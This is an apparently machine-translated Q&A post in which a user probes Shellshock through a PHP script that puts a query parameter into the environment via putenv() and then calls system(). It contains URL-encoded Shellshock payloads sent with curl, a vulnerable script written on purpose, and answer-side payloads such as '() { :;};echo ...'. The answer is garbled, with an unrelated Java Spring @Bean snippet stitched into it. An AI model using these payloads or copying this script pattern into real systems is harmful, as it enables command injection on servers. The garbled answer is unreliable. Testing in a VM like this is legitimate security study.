我正在尝试使用bash shell(版本4.2)测试PHP交互。我的bash shell没有针对shellshock进行修补(是的,我知道如何修补它;我正在VM中进行测试;我更关注PHP与shell的交互)。
我有一个简单的PHP程序,它从查询字符串中获取参数,通过putenv()
将其添加到环境中,然后使用system()
运行命令。脚本如下:
<?php
function getParam()
{
$arg = NULL;
if (isset($_GET["arg"]) && !empty($_GET["arg"]))
{
$arg = $_GET["arg"];
}
return $arg;
}
$arg = getParam();
putenv("ARG=$arg");
system("set");
?>
您可以看到system()
使用set
命令打印shell变量。我首先尝试使用以下内容:
curl http://localhost/myphp.php?arg=123
在输出中,我可以看到以下行:
ARG=123
本着shellshock的精神,我改变了我的论点如下:
curl http://localhost/myphp.php?arg="()%20%7B%20echo%20hello;%20%7D;"
参数基本上设置为:
arg=() { echo hello; };
当我运行脚本时,我的输出中没有看到ARG
的设置。
但后来我改变了卷曲请求如下:
curl http://localhost/myphp.php?arg="()%20%7B%20echo%20hello;%20%7D;%20echo%20PID:%20;%20echo%20%24%24%20;%20echo%20Set:%20;%20set%20"
这一次,参数设置为:
arg=() { echo hello; }; echo PID:; echo $$; echo Set:; set
这一次,我仍然没有在ARG
的输出中看到system()
,但我确实看到了额外的输出,因为参数为:
PID:0
Set:
// Omitted some output
ARG ()
{
echo hello
}
所以我的问题是,为什么我不通过ARG
在set
输出中看到参数system()
,而是通过参数在set
输出中看到它?
修改:
重新提出问题以使其更清晰:在PHP代码中,我调用system(set)
(最后一行)VS我将set
作为查询字符串的一部分传递。通过system()
执行的集合未显示ARG
在shell变量中存在从查询字符串执行的VS set
正在显示(尽管PID输出为0 - 因此必须将其考虑在内解释一下)。
以下是完整输出:http://pastebin.com/raw.php?i=WcBXgYAj
如果我将system(set)
更改为system(env)
,我会看到输出:http://pastebin.com/raw.php?i=q1r6Z3Zi
答案 0 :(得分:1)
而不是
@Bean
@Qualifier(value = "executorOne")
public Executor getAsyncExecutor() {
//..
return executor;
}
试试这个
arg=() { echo hello; };
或者
() { :;};echo Yes we can...
......或者介于
之间您可以尝试追踪某些内容:
%28%29%20%7B%20%3A%3B%7D%3Becho%20Yes%20we%20can...